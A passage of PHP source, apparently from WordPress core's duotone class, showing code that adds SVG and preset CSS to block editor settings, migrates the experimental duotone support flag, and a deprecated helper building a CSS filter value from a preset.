		$global_styles_presets = self::get_all_global_styles_presets();
		if ( ! empty( $global_styles_presets ) ) {
			if ( ! isset( $settings['styles'] ) ) {
				$settings['styles'] = array();
			}

			$settings['styles'][] = array(
				// For the editor we can add all of the presets by default.
				'assets'         => self::get_svg_definitions( $global_styles_presets ),
				// The 'svgs' type is new in 6.3 and requires the corresponding JS changes in the EditorStyles component to work.
				'__unstableType' => 'svgs',
				// These styles not generated by global styles, so this must be false or they will be stripped out in wp_get_block_editor_settings.
				'isGlobalStyles' => false,
			);

			$settings['styles'][] = array(
				// For the editor we can add all of the presets by default.
				'css'            => self::get_global_styles_presets( $global_styles_presets ),
				// This must be set and must be something other than 'theme' or they will be stripped out in the post editor <Editor> component.
				'__unstableType' => 'presets',
				// These styles are no longer generated by global styles, so this must be false or they will be stripped out in wp_get_block_editor_settings.
				'isGlobalStyles' => false,
			);
		}

		return $settings;
	}

	/**
	 * Migrates the experimental duotone support flag to the stabilized location.
	 *
	 * This moves `supports.color.__experimentalDuotone` to `supports.filter.duotone`.
	 *
	 * @since 6.3.0
	 *
	 * @param array $settings Current block type settings.
	 * @param array $metadata Block metadata as read in via block.json.
	 * @return array Filtered block type settings.
	 */
	public static function migrate_experimental_duotone_support_flag( $settings, $metadata ) {
		$duotone_support = isset( $metadata['supports']['color']['__experimentalDuotone'] )
			? $metadata['supports']['color']['__experimentalDuotone']
			: null;

		if ( ! isset( $settings['supports']['filter']['duotone'] ) && null !== $duotone_support ) {
			_wp_array_set( $settings, array( 'supports', 'filter', 'duotone' ), (bool) $duotone_support );
		}

		return $settings;
	}

	/**
	 * Gets the CSS filter property value from a preset.
	 *
	 * Exported for the deprecated function wp_get_duotone_filter_id().
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @deprecated 6.3.0
	 *
	 * @param array $preset The duotone preset.
	 * @return string The CSS filter property value.
	 */
	public static function get_filter_css_property_value_from_preset( $preset ) {
		_deprecated_function( __FUNCTION__, '6.3.0' );

		if ( isset( $preset['colors'] ) && is_string( $preset['colors'] ) ) {
			return $preset['colors'];
		}

		$filter_id = self::get_filter_id_from_preset( $preset );

		return 'url(#' . $filter_id . ')';
	}
}